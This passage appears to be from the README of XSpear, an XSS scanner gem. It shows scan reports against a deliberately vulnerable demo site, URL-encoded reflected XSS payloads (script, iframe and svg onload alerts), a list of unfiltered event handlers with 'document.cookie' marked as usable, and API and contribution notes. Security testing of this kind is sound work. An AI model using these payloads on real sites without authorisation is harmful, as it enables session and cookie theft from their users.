[-] [00:37:51] 'cat' not found alert/prompt/confirm event '"> [V] [00:37:51] found alert/prompt/confirm (45) in selenium!! => [param: cat][triggered ] [V] [00:37:51] found alert/prompt/confirm (45) in selenium!! '"> => [param: cat][triggered ] [*] finish scan. the report is being generated.. +----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+ | [ XSpear report ] | | http://testphp.vulnweb.com/listproducts.php?cat=z | | 2019-07-24 00:37:33 +0900 ~ 2019-07-24 00:37:51 +0900 Found 12 issues. | +----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+ | NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD | DESCRIPTION | +----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+ | 0 | INFO | DYNAMIC ANALYSIS | GET | cat | XsPeaR" | Found SQL Error Pattern | | 1 | INFO | STATIC ANALYSIS | GET | - | original query | Found Server: nginx/1.4.1 | | 2 | INFO | STATIC ANALYSIS | GET | - | original query | Not set HSTS | | 3 | INFO | STATIC ANALYSIS | GET | - | original query | Content-Type: text/html | | 4 | LOW | STATIC ANALYSIS | GET | - | original query | Not Set X-Frame-Options | | 5 | MIDUM | STATIC ANALYSIS | GET | - | original query | Not Set CSP | | 6 | INFO | REFLECTED | GET | cat | rEfe6 | reflected parameter | | 7 | INFO | FILERD RULE | GET | cat | onhwul=64 | not filtered event handler on{any} pattern | | 8 | HIGH | XSS | GET | cat | | reflected XSS Code | | 9 | HIGH | XSS | GET | cat | "> | reflected XSS Code | | 10 | VULN | XSS | GET | cat | | triggered | | 11 | VULN | XSS | GET | cat | '"> | triggered | +----+-------+------------------+--------+-------+-------------------------------------+--------------------------------------------+ < Available Objects > [cat] param + Available Special Char: ' \ ` ) [ } : . { ] $ + Available Event Handler: "onActivate","onBeforeActivate","onAfterUpdate","onAbort","onAfterPrint","onBeforeCopy","onBeforeCut","onBeforePaste","onBlur","onBeforePrint","onBeforeDeactivate","onBeforeUpdate","onBeforeEditFocus","onBegin","onBeforeUnload","onBounce","onDataSetChanged","onCellChange","onClick","onDataAvailable","onChange","onContextMenu","onCopy","onControlSelect","onDataSetComplete","onCut","onDragStart","onDragEnter","onDragOver","onDblClick","onDragEnd","onDrop","onDeactivate","onDragLeave","onDrag","onDragDrop","onHashChange","onFocusOut","onFilterChange","onEnd","onFocus","onHelp","onErrorUpdate","onFocusIn","onFinish","onError","onLayoutComplete","onKeyDown","onKeyUp","onMediaError","onLoad","onMediaComplete","onInput","onKeyPress","onloadstart","onLoseCapture","onMouseOut","onMouseDown","onMouseWheel","onMove","onMouseLeave","onMessage","onMouseEnter","onMouseMove","onMouseOver","onMouseUp","onPropertyChange","onMoveStart","onProgress","onPopState","onPaste","onOnline","onMoveEnd","onPause","onOutOfSync","onOffline","onReverse","onResize","onRedo","onRowsEnter","onRepeat","onReset","onResizeEnd","onResizeStart","onReadyStateChange","onResume","onRowInserted","onStart","onScroll","onRowExit","onSelectionChange","onSeek","onStop","onRowDelete","onSelectStart","onSelect","ontouchstart","ontouchend","onTrackChange","onSyncRestored","onTimeError","onUndo","onURLFlip","onStorage","onUnload","onSubmit","ontouchmove" + Available HTML Tag: "meta","video","iframe","embed","script","audio","svg","object","img","frameset","applet","style","frame" + Available Useful Code: "document.cookie","document.location","window.location" < Raw Query > [0] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=zXsPeaR%22 [1] http://testphp.vulnweb.com/listproducts.php?cat=z?- [2] http://testphp.vulnweb.com/listproducts.php?cat=z?- [3] http://testphp.vulnweb.com/listproducts.php?cat=z?- [4] http://testphp.vulnweb.com/listproducts.php?cat=z?- [5] http://testphp.vulnweb.com/listproducts.php?cat=z?- [6] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=zrEfe6 [7] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%5C%22%3E%3Cxspear+onhwul%3D64%3E [8] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Cscript%3Ealert%2845%29%3C%2Fscript%3E [9] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Ciframe%2Fsrc%3DJavaScriPt%3Aalert%2845%29%3E [10] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Cscript%3Ealert%2845%29%3C%2Fscript%3E [11] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%27%22%3E%3Csvg%2Fonload%3Dalert%2845%29%3E ``` **to JSON** ``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 1 {"starttime":"2019-08-09 01:26:32 +0900","endtime":"2019-08-09 01:27:04 +0900","issue_count":25,"issue_list":[{"id":0,"type":"INFO","issue":"REFLECTED","method":"GET","param":"cat","payload":"rEfe6","description":"reflected parameter"},{"id":1,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"","description":"Found Server: nginx/1.4.1"},{"id":2,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"","description":"Not set HSTS"},{"id":3,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"","description":"Content-Type: text/html"},{"id":4,"type":"LOW","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"","description":"Not Set X-Frame-Options"},{"id":5,"type":"MIDUM","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"","description":"Not Set CSP"},{"id":6,"type":"INFO","issue":"DYNAMIC ANALYSIS","method":"GET","param":"cat","payload":"XsPeaR\"","description":"Found SQL Error Pattern"},{"id":7,"type":"INFO","issue":"FILERD RULE","method":"GET","param":"cat","payload":"onhwul=64","description":"not filtered event handler on{any} pattern"},{"id":8,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"reflected XSS Code"},{"id":9,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"reflected HTML5 XSS Code"},{"id":10,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"reflected HTML5 XSS Code"},{"id":11,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"reflected HTML5 XSS Code"},{"id":12,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"reflected HTML5 XSS Code"},{"id":13,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"\">","description":"reflected XSS Code"},{"id":14,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"reflected onfocus XSS Code"},{"id":15,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"0","description":"reflected HTML5 XSS Code"},{"id":16,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"reflected onfocus XSS Code"},{"id":17,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"reflected onfocus XSS Code"},{"id":18,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"reflected onfocus XSS Code"},{"id":19,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"","description":"triggered "},{"id":20,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"","description":"triggered "},{"id":21,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"'\">","description":"triggered "},{"id":22,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"triggered "},{"id":23,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"triggered "},{"id":24,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"","description":"triggered "}]} ``` ## Usage on ruby code (gem library) ```ruby require 'XSPear' # Set options options = {} options['thread'] = 30 options['cookie'] = "data=123" options['blind'] = "https://hahwul.xss.ht" options['output'] = json # Create XSpear object with url, options s = XspearScan.new "https://www.hahwul.com?target_url", options # Scanning s.run result = s.report.to_json r = JSON.parse result ``` ## Add Scanning Module **1) Add `makeQueryPattern`** ```ruby makeQueryPattern('type', 'query,', 'pattern', 'category', "description", "callback funcion") # type: f(ilterd?) r(eflected?) x(ss?) # category i(nfo) v(uln) l(ow) m(edium) h(igh) # e.g # makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch) ``` **2) if other callback, write callback class override `ScanCallbackFunc`** e.g ```ruby class CallbackStringMatch < ScanCallbackFunc def run if @response.body.include? @query [true, "reflected #{@query}"] else [false, "not reflected #{@query}"] end end end ``` Parent class(ScanCallbackFunc) ```ruby class ScanCallbackFunc() def initialize(url, method, query, response) @url = url @method = method @query = query @response = response # self.run end def run # override end end ``` Common Callback Class - CallbackXSSSelenium - CallbackErrorPatternMatch - CallbackCheckHeaders - CallbackStringMatch - CallbackNotAdded etc... ## Update if nomal user ``` $ gem update XSpear ``` if developers (soft) ``` $ git pull -v ``` if develpers (hard) ``` $ git reset --hard HEAD; git pull -v ``` ## Development After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment. To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org). ## Contributing Bug reports and pull requests are welcome on GitHub at https://github.com/hahwul/XSpear. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct. ## License The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT). ## Code of Conduct Everyone interacting in the XSpear project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/[USERNAME]/XSpear/blob/master/CODE_OF_CONDUCT.md). ## ScreenShot